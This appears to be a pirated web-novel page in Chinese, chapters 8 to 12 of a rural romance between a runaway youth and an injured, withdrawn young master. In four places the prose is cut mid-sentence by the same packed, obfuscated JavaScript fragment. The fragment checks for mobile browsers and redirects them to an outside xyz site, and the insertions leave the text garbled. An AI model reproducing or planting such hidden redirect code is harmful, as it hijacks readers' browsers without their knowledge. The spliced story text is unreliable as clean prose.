奈宁还是偷偷瞟一眼他受伤的腿,忍不住想,要是有点荤腥吃就好了。 他越发无法忍耐,想去抱一只母鸡回来。 要不明天鸡未啼,他就把这些山货背出去卖了。 只要村子里没人看到他,应该就不会有事。 不回奈家的日子越长,他心中越害怕,越是不敢被人发现自己在这里。 现在他很害怕出门,提心吊胆的出去,提心吊胆的回来。 怕被打,怕被浸猪笼,心中全是惶恐不安。 他努力甩甩脑袋,将这个不好的念头甩去。 没关系没关系,如果真到了那一天,他就…… 解脱了。 他轻轻笑了笑。 萧练咬着筷子看着他,小哥儿莫名其妙地笑,却不是对自己。恍惚了一阵,怎么感觉他的笑,有点超脱,清淡又释然。 晚上再次被抱脚,大少爷已经没有那么抵触了,但还是一脸不高兴,瞪了奈宁一眼,将脸蛋偏过一旁。 奈宁小心翼翼拆开伤口,开心道:“你看,好很多了耶!” 萧练瞥了一眼,倒吸一口冷气,很嫌弃地再次扭过脸去。 奈宁瘪瘪嘴,细致地给他清理,又敷上药。 这一次大少爷很有出息,咬着牙攥紧拳头,就是一声不吭。 裤管放下来,足衣穿上去。 看着大少爷,奈宁眼睛亮亮的,夸赞道:“大少爷好厉害,这都不喊疼!” 萧练默默收回自己的脚,疼得要落泪,闻言,哼道:“小小伤口!” 奈宁抿唇轻笑,心想,昨日是谁哭得伤心欲绝? 此话自然不能说。 奈宁笑道:“那以后我每天都来给你处理伤口。” 萧练垂着眼眸,嗯了一声。 奈宁看他这么乖,心脏莫名,忍不住凑过去,又亲了亲他的嘴角。 萧练眼睛瞬间睁大,对上小哥儿的一张笑脸。 奈宁抱着酒坛冲他笑了笑,甜甜道:“早些睡觉吧。” 萧练拿手蹭了蹭嘴唇,眼睛眯了眯。多么柔软的触感,都不及。 一大早奈宁就在切竹笋,切成条,放在竹筛上晒。 家里竹筛都装满了,摆在墙上地上晒着。 奈宁忙忙碌碌,这会儿才得空闲,给蘑菇翻个面。 萧练站在旁边看着他,突然脸就红了。 小哥儿衣服还破着洞,昨天不好意思跟他说,现在还是不知如何张口。 看一眼,耳尖红了,又看一眼,不小心跟小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749385|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥儿的目光撞上。 奈宁看着脸颊酡红的大少爷,眨眨眼睛:“怎么了?” 萧练张张嘴说不出来,只道:“你、跟我来。” 萧家房屋很多,大多都锁着,大少爷拿出钥匙,打开其中一个房,在一个大箱子前站定,让奈宁去翻。 他垂着眼睑站在一旁,没有再去看奈宁。 奈宁打开箱子,陈旧的气息扑鼻而来,全是衣服。 都干干净净的,折叠整齐,一套拿出来,抖开一看,奈宁哇了一声。 这衣服大小看着正合适他! 他不敢相信:“这、这……” “这是我年少时的衣服,你随便挑。” 奈宁挑了一套成色比较旧的,萧练抿唇:“就一套么?” 奈宁迟疑一下,又拿了一套:“够、够了。” 有新衣服,闻着还是香香的。 奈宁很兴奋,眼睛弯弯,黑黑的瞳孔里有星辰:“我帮你把换出来的衣服都洗了吧!” 大少爷一张俊脸立刻又黑下去:“不要!” 奈宁将衣服抱出去洗了,萧练也去将自己的桶提出来,远远放在一角,都不敢靠近水井。 奈宁看他那样子,不像要洗衣服,东张西望,更像要毁尸灭迹,跟奈宁对上目光,又很快偏过头。 还挺害羞。 奈宁想了想,给他拿了根棍子。 “放水进去,衣服先敲打一顿,将衣服提出来冲水,如此反复,手不沾衣服也能洗,等干净些再手搓。” 还给大少爷留了些皂叶,这就走了,给大少爷留足面子,当然火折子也得带走,不然一会他又想不开烧衣服。 大少爷送的衣服本来就洗干净了,稍稍清洗,晾干就能穿,正好现在太阳大。 之后奈宁又戴上斗笠,扛着锄头头去松地。 天快黑了,大少爷阴暗地出现在屋角。 夕阳将他的影子拉长,投在奈宁前面的地上。 奈宁抬起头来,抹了一把汗,笑道:“洗完衣服了?” “嗯。” 收了斗笠锄头,奈宁过去看看,大少爷的衣服洗得还挺干净整洁,整整齐齐挂在衣杆上。 比奈家那三个有少爷病没有少爷命的少爷,能干多了。 他又忍不住夸了夸:“好厉害!” 晚饭吃得早,奈宁迫不及待洗澡,两人各自收衣服,各自去擦洗。 奈宁换上新衣裳,心情愉悦。 大少爷的旧衣裳比他的衣裳不知道好多少倍,穿在身上很舒服。 在井边打了桶水倒进盆,对着影自照,越看越满意。 洗衣服时才想起,昨日烧火衣服破了个洞。 难怪大少爷突然给他送衣服! 奈宁脸颊微红,心里暖暖的,暗暗想要对大少爷好。 9. 第 9 章 奈宁将草药清洗之后都塞石臼里捣了,又抱着酒坛,进房给大少爷换药。 萧练偏头看去,换了一身新衣裳的小哥儿,看着精神多了。 人靠衣装,佛靠金装,一点不假。 奈宁熟练地抱着大少爷的腿,趁大少爷发呆,给他换草药。 伤得挺重的,奈宁也已经尽自己最大能力给大少爷处理伤口了。 不过大少爷命真硬,伤口烂成这样,竟也没事。 寻常人伤口大些容易发热,大少爷却还能“活蹦乱跳”,拄着拐笃笃笃地跟着人四处走。 奈宁心情莫名愉悦,手脚也越发轻,偶尔抬头一眼,总能跟大少爷的目光对上。呆呆愣愣的大少爷,让他心尖软得一塌糊涂。 手脚越发舍不得用劲,是以草药换完了,麻布包扎好了,裤管跟足衣都穿回去了,大少爷还没回过神来。 奈宁冲他笑了笑,柔声说:“好了。” 说着忍不住抬手捏了捏大少爷脸颊,这会还呆呆盯着自己看,莫不是痛傻了? 萧练眼睫颤了颤,偏过头,耳尖悄悄红了。 奈宁觉得稀奇,今日大少爷太乖了些,捏他脸颊都不生气的,按以往不得凶巴巴地来句“不许碰我脸”、“卑鄙”、“无耻”。 这会乖乖的,好似还害羞了,奈宁心痒痒,忍不住又捏了捏,诚心夸道:“大少爷今日也好乖啊!” 萧练脸蛋瞬间涨得通红,张张嘴想说什么,对上小哥儿弯弯的眉眼,又窝囊地挪开视线,呐呐说了声:“才没有……” 奈宁没听清,脑袋侧过来:“嗯?” 原本就近,此刻凑得更近了,大黑又大的瞳仁,眼睫一眨一眨仿佛在说话。 萧练心头一跳,心脏忽然不受控制地跳起来,他闻到了小哥儿身上皂叶的清香,头发上衣服上,都有。 被子一角被抓皱了。 好久没得到回复,奈宁闷闷地哦了声,收拾一下就要出去,萧练却喊住了他:“你……” “嗯?”奈宁回过头来,站在床边,嘴角浅浅笑着,等他继续往下说。 大少爷喉结滚动,莫名想问今天很乖,为何不…… 问不出口,那个字想一想都不敢,耳尖悄悄爬上红晕。 但小哥儿还在认真的等他回复,他想了好久:“你,晚上住哪?” 奈宁老实道:“柴房。” 大少爷脑子一片空白,口干舌燥,读书万卷,却不知说啥。 他为何住柴房,哦对,其它房门关着他进不去。 嘴唇张张合合,嗫嚅良久,开口却是:“你为何不回家?” 说完他就低下头了,拳头紧握,想扇自己巴掌,事实他想说,我家里有的是空房,你为何住柴房。 这么说,搞得他想赶人似的。 虽然他、他…… 他也不知道自己想干嘛,总之小哥儿离开,他会回到黑暗。 他拳头攥得很紧,想听到答案,又不敢听。 这个问题深埋心里,或者早就阴暗潮湿得想早些见到天日了。 或者,这才是他最想问的问题。 答案没如他想象中那样狂风暴雨般砸下,温细无声。 咚的一声,小哥儿抱在怀里的酒坛被摆在桌上,萧练视线随着酒坛落在桌上,下一瞬,床榻一沉,小哥儿一屁股坐在床上。 萧练一动不敢动,就一双黑沉的眼眸警觉地看着他,小哥儿很生气的样子! 奈宁瘪着嘴巴,幽怨地看着大少爷:“我不是跟你说了吗?我要跟你过日子,我养你!” 萧练眼珠子转向这边,转向那边,忽然不明白这话什么意思。 “什么叫要跟我过日子?” 奈宁瞪着他,胸膛起伏:“我没说过么?自然是要做你夫郎啊!” 小哥儿眼眶鼻尖都红红的,这是要哭了。 萧练沉默良久,垂着眼帘,喃喃道:“婚姻大事,媒妁之言,父母之命。” 许久没听到动静,一抬头,小哥儿眼泪断了珠似地掉。 奈宁道:“所以你不肯娶我?” 萧练怔了怔,低头,盯着自己的腿:“我一介残疾……” 他一介残疾,考不了科举,中看不中用,父母也不在了,没人帮衬,谁愿意将子女嫁他? 他自己也只是一个废物,一蹶不振的废物,受不了挫折,经不住敲打。 他不愿意拖着残疾的腿出门,更不想拖着残疾的腿去求亲,受尽冷眼。 他不要! 不要以为见过几日阳光就觉得自己能灿烂,他不会这么觉得,他心里清楚的知道,现在腿脚伤,还可以抱一些残存的希望。 一旦腿脚伤口愈合,彻底成为一个瘸子。 他生存的希望将会荡然无存。 他的最终归属只能属于鬼门关。 他想说外面大把好男人,不需要你养我,就很多人争着养你。 但他说不出口,就这么低着头。 奈宁瞪着他,他始终没再抬起头来。 方才说他乖,立刻就来戳人心窝子了,奈宁一抹眼泪,抱着酒坛子出去了。 清晨,萧练倚在床头发呆,桌面上没有朝食了。昨晚不知道什么时候睡着的,清晨惊醒就没听到外边有动静。 他冷笑一下,忽然眼泪不受控制地流下来。最后控制不住哭出声来,一边抹着眼泪一边哭,他自己都觉得自己废物没用极了。 他锤着自己没有用的废腿,好恨,想要剁了。 原本要愈合的伤口裂开渗出丝丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749386|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血迹,跟他作对一样,钻心地疼。 他停止哭泣,突然冷笑一声,骤然下床,拐杖放在床边,拿得迟了一步,砰地一声整个人摔倒在床边。 受伤的腿无端用上了力,他痛得麻木了,面无表情,拄着拐杖一瘸一拐地走出去。 走出堂屋,阳光洒来,他一阵恍惚。 庭院里,蘑菇竹笋还在晒着。 昨晚不是收回堂屋了么? 他住着拐一趟一趟跟着小哥儿收的,他本人没什么作用,就是跟在后边绊腿。 他抽了一下鼻子,转身往灶房而去。 灶房收拾得干干净净,但灶口是打开的,燃尽的柴没人处理,掉在灶口边。 萧练的眼睛含了一些希望,走快了两步。 打开锅盖,眉眼嘴角都弯了起来, 嘿嘿傻笑起来。 里面有粥菜还有包子,因为他在房间里坐等得久了,这会都有些凉了。 凉了的粥包子反而比热的时候好吃,萧练仰着头将最后一点菜汤都卷进舌尖,耐心地按着小哥儿所说,将锅碗都洗了,干干净净。 一转眼看到灶口没清理干净,也拄着拐过来清理了。 之后又给蘑菇竹笋都翻了个面。 想到小哥儿还睡柴房,寻了间客房,翻箱倒柜,将蚊帐床单被褥等物一并取出,搓洗一番,放阳光下晒。 之后自己也坐在院子里晒太阳,看着阳光也不觉得耀眼,心里美美地笑,本少爷今天也很乖! 一开始热热的,出了汗,后面太阳偏移,被屋檐遮蔽,阴阴凉凉,还有风吹来。大少爷困了,拄着拐回房,倒头就睡。 睡得模模糊糊之中,听到外面大门吱呀一声,眼睛很沉睁不起来,只听到朦朦胧胧蒙在鼓里般的声音。 “那个大少爷不会死了吧?” “咦,这里怎么晒了这么多蘑菇竹笋,还打扫得这么干净?” “那个大少爷已经好了吗?” “不会吧,上次之前看他伤得那么重,都不愿起床,给他饭也不吃,这才几天?” “我看不会是那个奈宁哥就住在这里了吧?他爹娘找他这么久都没找着,说不定就是藏在这里了!” “哈哈哈,你这么一说,真有可能,奈宁哥那么勤快,他爹娘就像鬼一样四处寻人,我爹娘说了这一次若是让他们抓到奈宁哥,铁定是要直接送过去的。” “好惨啊……啊啊啊啊,鬼呀鬼呀!” 他们从前院转到后院,看到一垄垄菜地,又绕回来,骤然看到一只阴森白鬼站在屋檐下。 青天白日,一群十一二岁小孩胆子都要被吓破了,一个个争先恐后逃出这鬼宅。 萧练拧着眉头,刚才他们说什么? 他爹娘要将他送到哪里去? 10. 第 10 章 萧练看着大张的门口,眉头紧锁,就是没能迈步走过去。 心中焦燥惶恐,坐一会又站起。 天色不早,他将蘑菇竹笋都收入了堂屋。蚊帐床单被褥收入客房,笨拙地学着小哥儿的样子铺好床。 出来时,天色完全暗下去了,没见人回来。 他尝试着像小哥儿那样,落米煮了粥。 捏着火折子半天没烧上柴,只能不停地往里面投放干草。 等到粥将锅盖顶起来,又去洗了菜,蘑菇跟笋,都切好了。 一切都处理得干干净净,没有事情做了,他又开始发起呆来,坐坐站站。 想到水没烧,又赶紧去烧水。 菜索性也炒了,没有人帮他烧火,干草很容易燃尽,火苗忽明忽暗,烧出来的菜一股味儿。 味道也不怎么对。 他有倒掉的冲动,想想还是放在那里。 先不说这是小哥儿辛苦挖回来的,万一小哥儿不回来了呢。 月悬中天,又往西边偏倚。 菜与粥端到桌上,从热放到凉。 萧练一颗心也跟着放凉了,冷笑一声,他在想什么呢?怎么可能还会回来? 而且那些小孩不是说,他爹娘要把他送走吗? 许是已经走了。 他攥紧筷子,眉眼微皱,心里说不出什么感觉,像刀背钝钝地挖,不是很疼,又不得解脱。 他对村中的事情知道得不多,只知道他叫奈宁,亲娘不在了,有个后娘,其余一无所知。 大人也不会当着他的面嚼舌根,何况当时已经有未婚夫郎,不好打听旁的小哥儿。 现在只恨知道得太少。 一根筷子不知不觉在他指尖折断,尖刺扎进指腹。 萧练眸光一寒,拄了拐走到门口,小孩子偷摸进来又逃出去,没有关门。 他看着阴森森的门口,咬着下唇内侧的肉,终是走近了些,伸出手,内心纠结不停。 一道身影闯入眼帘,即将合上的门瞬间大张。 奈宁看到大少爷,一脸惊喜:“你来接我吗?” 萧练一颗心骤然停止跳动,之后又以无以加复的速度跳动起来。 奈宁背着竹篓,提着小笼子回来了。 萧练下意识伸手过去,奈宁让开他的手,笑盈盈道:“我自己来就行,我一大早就起来,到山上去了一趟,又绕到其他村子,往镇上去了一趟,终是给我买到了鸡,母鸡小鸡还有好多菜种!” 萧练在后头关门,还有些恍惚。 奈宁将笼子里的小鸡崽放出来,它们不敢出,挤在一团。 奈宁没管,转身去翻背篓,从里头掏出一只母鸡,抬头冲萧练笑道:“以后我们有鸡蛋吃了!” 萧练看着他的笑颜失神。 奈宁买到了菜种子,恨不得现在就给自己的菜地种上。 不过当务之急,还是先喂自己的母鸡小鸡。 回到灶房,看到满桌饭菜,奈宁怔了怔,满脸惊喜地看着萧练:“你煮了饭?” 萧练点点头,嘴角很快蔓延上笑意:“我还烧了水!” 奈宁开心道:“太好了,我还担心你饿肚子呢,谁知你都已经煮好了!” 坐在餐桌前,看着卖相不太佳的三盘菜,奈宁还是掩不住内心欢喜:“太好了,我终于也是回家就能吃上热乎饭菜了!” 萧练顿了顿,低声说:“有些凉了。” 奈宁拿起筷子:“没关系,天气热,刚好吃凉的!” “有些糊,味道不好。” “没事了,第一次煮饭都是这样,能吃就行!”小哥儿笑得眉眼弯弯,很满足的样子,竭力夸赞他道:“你已经做得很好了,我都没有教过你,你自己就会煮了!” “你不嫌弃就好。”萧练喃喃道:“以后我都会做好的。” “好啊!” 奈宁扒拉了两口,大少爷做的饭菜一般,味道清淡,粥也有点糊底,但毕竟是熟的。奔波劳累一天回来,有一口饭菜吃,比什么都强。 吃完饭又谢过大少爷做饭之恩,隔着桌子路途遥远,奈宁还是凑过去亲了亲大少爷嘴角。 凑过来的风将油灯扑得一暗,大少爷没动弹,耳尖悄悄红了,垂眸瞥了眼他的笑眸。 饭后,大少爷贤惠收拾碗筷,洗碗擦桌。 奈宁挖了一点粥去喂小鸡母鸡。 后院有圈,不知道圈养啥的,但现在刚好用来养小鸡母鸡。 天气不冷,吃完它们自己就会抱窝睡觉。 奈宁心情愉悦,奔波一日也不觉得累,捧着脸蛋看几只鸡啄食,这个院子越发像个家了。 笃笃笃的声音从后头传来,奈宁回头。 大少爷拄着拐过来,对上他的目光,一顿,停在三丈之外。 “热水烧好了,洗澡吧。” 看天看地看月光,就是没看向这边。 奈宁轻笑一声,掩上鸡圈门。 走到前院,澡室透出明明暗暗的灯光。热水不光烧好了,大少爷还帮他提到了澡室。 满满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749387|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暖意将心头笼罩。 这么好的男人去哪里寻,而他眼前恰有一个。 穿上干净好看衣裳,奈宁抱着酒坛子去给大少爷换药,嘴里哼着不成名的调调。 大少爷刚给自己擦洗完,满头乌黑长发,脸蛋被衬托得越发白皙俊朗。 奈宁坐下来刚要抬他腿,就被他按住了手:“我自己来。” 奈宁坐在旁边,看着他自己给自己上药。 却给他打开了一个屋的门。 奈宁盯着他的伤口,之前没注意看,现在仔细一看,好像又流血了! “怎么会这样?” 萧练低着头不答话,不敢跟小哥儿对视。 他的伤腿很快又回到了小哥儿怀里。 小哥儿碎碎念地给他处理伤口,唠叨他怎么这么不注意。 包扎好了,奈宁郑重说:“要注意伤口啊,下次再流血就不给你到处乱走了!” 萧练不停的点头应嗯。似乎听进去了,似乎又没有,恍惚地想,很暖很软,还是香香的。就像袅袅檀香,丝丝缕缕钻入鼻尖,勾得他昏昏欲睡。 等小哥儿将他腿放下来,那股子睡意便消散了。 他抬头呆呆看着奈宁,看他嘴唇开合。 奈宁好好吩咐了一通,抱起酒坛:“好了,大少爷好好休息吧!” 刚要走,手被拉住了,大少爷的手很大,骨节分明,掌心宽厚。 被他拉着手,奈宁第一反应是掌心很嫩滑! 大少爷那双手,看着就没干过农活,摸起来越发能肯定。 这还是奈宁第一次被他拉住手,被烫得一缩,险些没将酒坛摔了,回过头来,也不说话,任由心跳砰砰乱砸,静静地等大少爷开口。 居高临下俯瞰大少爷,越发觉得他俊俏。 五官深邃,剑眉星目,这几日长得好了,脸蛋白中透粉,唇瓣嫣红。 明暗交替,大少爷下颌线轮廓清晰,眉眼温柔,还可以看到明晰漂亮的喉结。 奈宁嘴角忍不住悄悄往上弯。 大少爷说出来的话更是惊人:“你可以睡这里。” “啊?”奈宁脸蛋涨得通红,不敢相信自己听到的话。 进展比他想象中还要快! 虽然他挺愿意的。 “嗯,好……” 奈宁脸蛋红扑扑地,将酒坛放下,垂着眼帘,羞羞涩涩去扯腰带。 萧练刚穿好鞋子,抬头一看,小哥儿肩膀都露出来了,心头大骇。 “你做什么!” 11. 第 11 章 奈宁宽衣的动作一顿,看着衣冠整齐的男人,眨眨眼睛,不过也就迟疑片刻,继续将衣服脱了,他只穿一件,里头没有第二件衣,漂亮柔软的身段就这么全部裸露出来。 萧练啊一声惨叫,捂着脸偏向一旁,严词喝道:“你做什么?你想躺这张床也得等我先出去了!” 他手忙脚乱的去拿拐杖,还没拿稳就想逃离,啊一声惨叫扑地。 奈宁赶紧过去扶他,他惊得像被调戏的良家妇女:“我我我自己来,我自己起来!” 最后那一句几乎是吼出来的。 慌乱之中,起了又摔。 奈宁悻悻地将衣服裹了回去,这会再去扶他。 坐回床上,大少爷手脚都在抖。 奈宁像做错事了一样,低着头坐在旁边掰着手指头,心想,所以要先吹灯吗? 下次一定! 他扯着衣角,偏头看大少爷,见他还在大喘气,屁股悄悄挪过去,轻轻地给他抚背。 萧练全身起了一层鸡皮疙瘩,肩膀蜷了蜷直往后退,嘴里喃喃着:“不要碰我,不要碰我,不要碰我!” 脚都碰了,嘴也亲了,摸一下肩膀,怎么就不行了? 奈宁歪了歪脑袋,万分疑惑。 大少爷可怜兮兮地蜷缩在那里,他再靠近一点,大少爷就缩得越发厉害。 “那我,熄灯了?” 没有回答,过了一会他起身要去熄灯,大少爷突然从床里钻出来,拄着拐就往外跑。 “嗯?” 大少爷一拐一拐,跑得还挺快,奈宁以为自己看走眼了。 他腿脚利索,怎么会追不上大少爷,捧着油灯三两步跟在后头,在大少爷进入偏房要关门时,轻快地钻了进去。 萧练扶着门框,这会关也不是,不关也不是。 奈宁看着客房里面的布置,欣喜道:“这房间也很不错呀。” “嗯。”萧练闷闷道:“本来是要给你住的。” 奈宁一听,委屈道:“那现在呢,就不给我住了么?” “现在?”萧练没好气地拄着拐,一屁股坐到床上:“你不是喜欢我那个房么,那房给你,我住这个房!” 奈宁对着手指头,好半天才反应过来是怎么回事。 大少爷叫他留下来住,是让他留下来在这个宅子里住,不是叫他在大少爷房里住。 “原来是这个意思!” 话说他强行闯进来这么久,大少爷终于恩准让他住下来了。 这也是一个很不错的进展! 今日真是很开心,大少爷莫名变得很好。奈宁越看越心喜,凑过去,捧着大少爷脸蛋,认真的在他唇上又亲了一口:“谢谢大少爷!” 说罢又重重的亲了一口,欢快地端着油灯走了,门也帮关了。 萧练抹了抹嘴角,又冲旁边呸了两声,嘀咕道:“怎么老是亲人啊!” 消失的光又照了回来,门口裂开一条缝,毛茸茸的脑袋钻进来:“大少爷晚上安好,做个好梦!” 昏黄的光给小哥儿冷淡镀上一层暖意,萧练心跳漏了一拍,门关上,他无意识地舔了舔嘴角。 朝晨,奈宁起得晚了些,昨晚原本就睡得晚,床铺柔软,鼻尖似有幽香,睡着好舒服。 一觉睡沉过去,醒来已是日晒三竿。 打了个饱足的哈欠,伸伸懒腰,推开窗子,阳光涌入,奈宁正揉着眼睛,猛地一顿,一下子没反应过来,以为在家又要被打,赶紧跑出房去。 灶房里菜香四溢,大少爷长身玉立,正在布筷。 还有什么比一大早醒来发现饭菜已经做好了,来得更开心呢。 听到脚步声萧练偏过头来,脸莫名一红,哑声说:“吃饭了。” 奈宁走过来,椅子刚好被拖开。 桌上还是这两日吃的菜,没大变化,但看起来卖相好了许多。 奈宁尝了口,眼睛亮了亮:“今天好吃多了!” 萧练道:“等一等,还有糖粥。” 糖粥还在熬着,一打开锅便是香香甜甜的味道。 奈宁都没翻到糖在哪里,凑上去,看到半锅糖粥,说不出多高兴。 端上桌,还烫着他就迫不及待尝了口。甜滋滋的,粥也绵滑软糯,奈宁之前没吃过这么好吃的东西,歪着脑袋,人也呆住了。 大少爷看到他,有些期待道:“怎么样?” 奈宁又尝了口,细品慢嚼,越吃越高心,很开心地说:“好吃,我喜欢吃!” 这一趟早饭可比昨晚好吃多了。 大少爷起得就是早,衣服都已经洗了。 这会儿不适合种菜,奈宁便把自己的衣服也洗了。 之后才想起自己养了鸡,都这时辰了还没喂鸡可不行,大鸡还好说,小鸡可要饿死的。 一看到人,小鸡叽叽喳喳的,又想缠上来讨吃的,又怕生。 但大少爷只煮了糖粥,没旁的粥了。 小鸡还是吃煮熟的米粥好一点,奈宁先将小鸡放出来,回去立刻淘米下锅给小鸡熬粥,又切了些野菜进去,等放凉了再去喂小鸡。 萧练搬了个小凳子来,看着那几只嫩黄的小鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749388|174266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,捉了把米,碾碎了喂小鸡,看它们张着小嫩翅膀过来啄米粒,心中莫名安定。 同时也疑惑,这不是能吃米么,怎么还要费劲去煮粥。 奈宁敲了敲他脑门:“现在太小了,肠胃不佳,还是稳妥点喂熟食吧。何况咱们村里,我也没见哪户人家喂猪喂鸡直接喂生食的。” 萧练摸着额角,感受那点残余痛觉,嘴角微微弯了弯,眼眶莫名涌出泪意。 母鸡一日两三餐足矣,小鸡要一日多餐,特别是现在刚买进门,连水都不宜喂凉的。 刚到家的母鸡也没这么快生蛋,得好好喂养些日子。 小鸡母鸡分开买的,不熟悉,要分开喂养,不然母鸡要欺负小鸡。 有人看着就还好。 萧练坐在椅子上,看着大鸡小鸡吃饭,大鸡过来啄小鸡就要赶走。 大少爷第一次干这种活,正襟危坐,严肃得似守边将士。 奈宁笑了笑,提着扫把去清理鸡圈。 大鸡小鸡都是管吃不管拉,不到一日,鸡圈就满地脏污。夏日蚊虫多,得用灰来覆盖清扫。 鸡圈近外墙,外边竹林沙沙,不断往飘入竹叶。奈宁拿竹靶刮成一堆,一把火烧了。 一把干活一边说:“有空咱们出去砍竹子做个鸡笼。” 萧练看了眼旁边小哥儿昨晚提鸡回来的笼子,嗯了声。 奈宁又道:“夏日蚊虫多,咱们在旁边种些驱蚊虫的草,母鸡小鸡也不必如何受罪。” “嗯。”萧练又点头。 奈宁想了想:“咱们就种凤仙花吧,又驱蛇又驱蚊,还可以染指甲红!” 说完他眼睛都亮亮的,凤仙花长相一般,但却是村中最受欢迎的花,谁家没种几株。 它的种子特别有意思,像豆夹一般,成熟时稍稍一碰,砰地一下爆开,奈宁以前就喜欢戳它的种子玩。 它的叶子用石头捶成渣,敷在指甲上,过一个晚上,指甲就红艳艳的,好漂亮。 好些爱漂亮的哥儿姑娘都喜欢搞,脚甲指甲都染上,别提多好看了。 奈宁每次看到都很艳羡。 萧练看了看兴奋的小哥儿,又点点头,嗯了声,嘴角不知不觉间勾起来。 怕是重点是后面那个,染指甲红。 “到时再种些鱼腥草!”奈宁开心道。 大少爷眉眼微弯,又点点头。 奈宁看着大少爷,心中异常满足。 不管说什么,遇到大少爷不晓得的,他就嗯。 看着真是呆呆的,难怪都说读书人是书呆子呢。 12. 第 12 章 今日难得清闲,奈宁舀了两碗没吃完的糖粥出来。 跟萧练一块坐在树荫下,一边吃糖粥,一边看着大鸡小鸡在宽阔的后院散步、翻泥土、找虫子吃。 小鸡叽叽,母鸡咯咯,庭院一派生机。 热乎时的糖粥跟凉后味道又稍有不同,入口顺滑新凉,糯糯叽叽,不需要多嚼就能滑入咽喉,可是它又有一点米粒的颗粒感。 吃起来真是香。 糯米煮的粥,还放了糖,奈宁真是第一次吃,越吃越香,一小口一小口都舍不得吃快。 原本大少爷估算好两人一顿吃多少米,煮的粥刚够早晨,他真舍不得糖粥当作填饱肚子的粥一顿吃完,于是留了碗,大少爷看他不吃了,自然也放了碗。 糖粥吃多了也就那样,隔许久没吃倒也还会有些的惊喜,但不至于像小哥儿这般,吃得好慢,吃一口就满足地捧一会脸蛋,好不容易吃完了,还要舔舔碗底。 奈宁怕被大少爷看到,将身子侧过一旁,时不时回头看两眼大少爷的方向,悄悄伸出粉嫩舌尖去舔。 萧练低着头,努力压着嘴角,也侧过身去,肩膀止不住颤动。 越舔越起劲的小哥儿都没发现这边异样,只是等他过来收碗时,大少爷嘴角平平,眉眼却似含着笑意,又恍若当年那眉眼含情的肆意少年。 奈宁心动微动,抱着碗赶紧跑了。 翻翻庭院晾晒的蘑菇竹笋,便是午饭时。 奈宁卷起衣袖:“趁着有闲,要不我们来做个包子吧?” 萧练没有不同意的,他还没有做过包子,主要是看小哥儿做。 奈宁挖了两勺面粉,拌上水,和成团,放到灶台等面发起来。 两人中午吃粥,没有咸菜酸菜,还得开火炒个菜。 奈宁道:“咱们也泡个酸菜吧。” 泡了酸菜,就不用每一顿都烧火炒菜,像朝早晌午这两顿,随便扒拉碗粥的,就不必开火了。 吃了午食喂了鸡,便是休息时。 躺在床上,抱着被子都不觉得热,两个窗子打开,通风透气,竹林沙沙,鸟蝉鸣叫。 鼻间萦绕着一点清香。 大少爷的床香香的,被子暖和舒适,好干净的味道,加上点若有似无的幽香,这一觉真是好眠。 近傍晚时,奈宁才起床,精神饱足,一起床就活力满满。 出了堂屋,看到大少爷正在给蘑菇竹笋翻面。 听到后头脚步声,萧练微微偏过头来。 奈宁开心道:“早啊!” 萧练低声喃喃:“早。” 反应过来什么,耳尖悄悄红了,低低说了声:“不早了。” 奈宁过来看他翻了一会,笑着要去喂鸡。 萧练道:“我喂过了。” 奈宁哦了声又转身进工具屋,拿出锄头开始种菜。 空心菜沾上泥,水浇得透足就能活,光是一角空心菜就够他们俩吃到怕的了,不用天天吃野菜这么辛苦。 他还有不少瓜果种子,也一块儿种了,大热天不管种什么瓜都好长,南瓜黄瓜必须种起来,南瓜好吃,南瓜藤也嫩脆,黄瓜炒菜一般,但做泡菜是真不错,拍黄瓜也清脆爽口。 丝瓜苦瓜也不能少,一个炒鸡蛋一个清热解毒。 茄子费油,也可以稍稍种两棵。 豆角、辣椒番薯,姜蒜葱,还有旁的种子都被他一块儿种下去了。 刚想挑水来浇,一抬头,拄着拐的男人提着桶水过来了。 奈宁心里头暖得要溢出水来,嘴角也不知不觉扬起来,眼睛弯弯有了光。 